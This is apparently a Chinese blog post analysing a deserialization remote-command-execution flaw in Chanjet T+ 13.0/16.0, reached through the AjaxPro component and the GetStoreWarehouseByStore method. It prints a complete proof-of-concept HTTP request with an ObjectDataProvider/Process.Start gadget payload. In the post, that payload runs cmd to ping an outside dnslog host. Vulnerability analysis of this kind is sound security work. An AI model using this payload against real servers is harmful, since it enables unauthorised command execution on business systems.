首页 > 其他分享 >畅捷通T+ GetStoreWarehouseByStore 反序列化分析

畅捷通T+ GetStoreWarehouseByStore 反序列化分析

时间:2023-07-13 22:45:26浏览次数:39  
标签:__ zh System GetStoreWarehouseByStore 漏洞 序列化 捷通

漏洞描述

畅捷通T+前台存在反序列化漏洞,攻击者可直接利用此漏洞执行任意命令

影响版本

T+13.0、T+16.0

漏洞分析

漏洞主要是因为ajaxPro组件存在 CVE-2021-23758,但是这个漏洞有个要求是传输的参数类型必须是object

通过反编译

App_Code.dllUfida.T.CodeBehind._PriorityLevelGetStoreWarehouseByStore方法满足这个要求

可以看到GetStoreWarehouseByStore由[AjaxMethod]修饰,接收一个object类型的参数storeID

所以路径就是

/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore

/tplus是nginx的映射路径,/ajaxpro/*则是web.config中定义的ajaxPro组件处理路径

POC:

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=bgjpmbp1zpnlaapjss2xjqdw
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 507

{"storeID":{   "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo": {"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd","Arguments":"/c ping test.5f2d7i.dnslog.cn"}}}}

标签:__,zh,System,GetStoreWarehouseByStore,漏洞,序列化,捷通
From: https://www.cnblogs.com/uein/p/17552390.html

相关文章

  • jboss JMXInvokerServlet反序列化漏洞
    jmxinvokerservlet反序列化漏洞描述:JBOSS在/invoker/jmxinvokerservlet请求中读取了用户传入的对象,可利用apachecommonscollections中的gadget执行任意代码CommonCollectionGadget主要是由ConstantTransformer,InvokerTransformer,ChainedTransformer构成。gadget主要通过Transfor......
  • 在Unity3D中使用ScriptableObject进行序列化
    ScriptableObject类型经常用于存储一些unity3d本身不可以打包的一些object,比如字符串,一些类对象等。用这个类型的子类型,则可以用BuildPipeline打包成assetbundle包供后续使用,非常方便。这样除了playerpref和c#文件读取外,另外的一种存取一些数据对象的方法1.usingUnityEngine;......
  • Java反序列化:URLDNS的反序列化调试分析
    URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。一.Java反序列化前置知识Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节......
  • 解决redis hash序列化报错的具体操作步骤
    RedisHash序列化报错的解决方法1.问题背景在使用Redis时,有时候会遇到Hash序列化报错的问题。这种问题通常是由于Redis中存储的数据类型与操作的数据类型不一致导致的。在下面的文章中,我将为你详细介绍解决这个问题的步骤和相应的代码示例。2.解决步骤步骤操作1.查......
  • go语言序列化和反序列化
    序列化需求内存中的map、slice、array以及各种对象,如何保存到一个文件中?如果是自己定义的结构体的实例,如何保存到一个文件中?如何从文件中读取数据,并让它们在内存中再次恢复成自己对应的类型的实例?要设计一套协议,按照某种规则,把内存中数据保存到文件中。文件是一个字节序列,所......
  • web中间件漏洞之(3)fastjson反序列化漏洞
    引言fastjson可以将Java对象序列化为json格式,也可将json反序列化为Java对象。在请求包里面中发送恶意的json格式payload,fastjson在处理json对象时使用了autotype机制,允许在反序列化时通过@type指定反序列化的类,调用指定类的set和get方法。攻击者可以通过rmi或ldap服务,将ldap......
  • 序列化的高级用法之source
    一、可以取别名book_name=serializers.CharField(source='name')book_name为前端可以看到的字段值,name是对象真实的属性。注意:别名和真实属性不能相同二、可以跨表关联查询publish_name=serializers.CharField(source='publish.name')必须有关联关系,book模型和publis......
  • ctfshow刷题(Java反序列化)
    CTFshowJava反序列化web846urldns链importjava.io.ByteArrayOutputStream;importjava.io.IOException;importjava.io.ObjectOutput;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.net.URL;importjava.util.Base64;i......
  • java反序列化漏洞原理
    1.首先是序列化的过程序列化:ObjectOutputStream类-->writeObject()将对象进行序列化,把字节序列写到一个目标输出流中.ser2.反序列化反序列化:ObjectInputStream类-->readObject()从一个源输入流中读取字节序列,再把它们反序列化为一个对象 如果序列化字节序列内容......
  • C# 序列化大小写 序列化对象为大小写 JsonConvert.SerializeObject
    关于C#序列化Json对象框架:.Net插件:Newtonsoft.Json最近有人问我序列化对象还区分大小写?我当时心想我都是通过Bejson格式化然后转换为C#类然后直接复制。没有关心过序列化成什么大小写。因为这样的话可以保持一致。直到有人问我才自己研究了一下。如下:usingNewtonsoft.......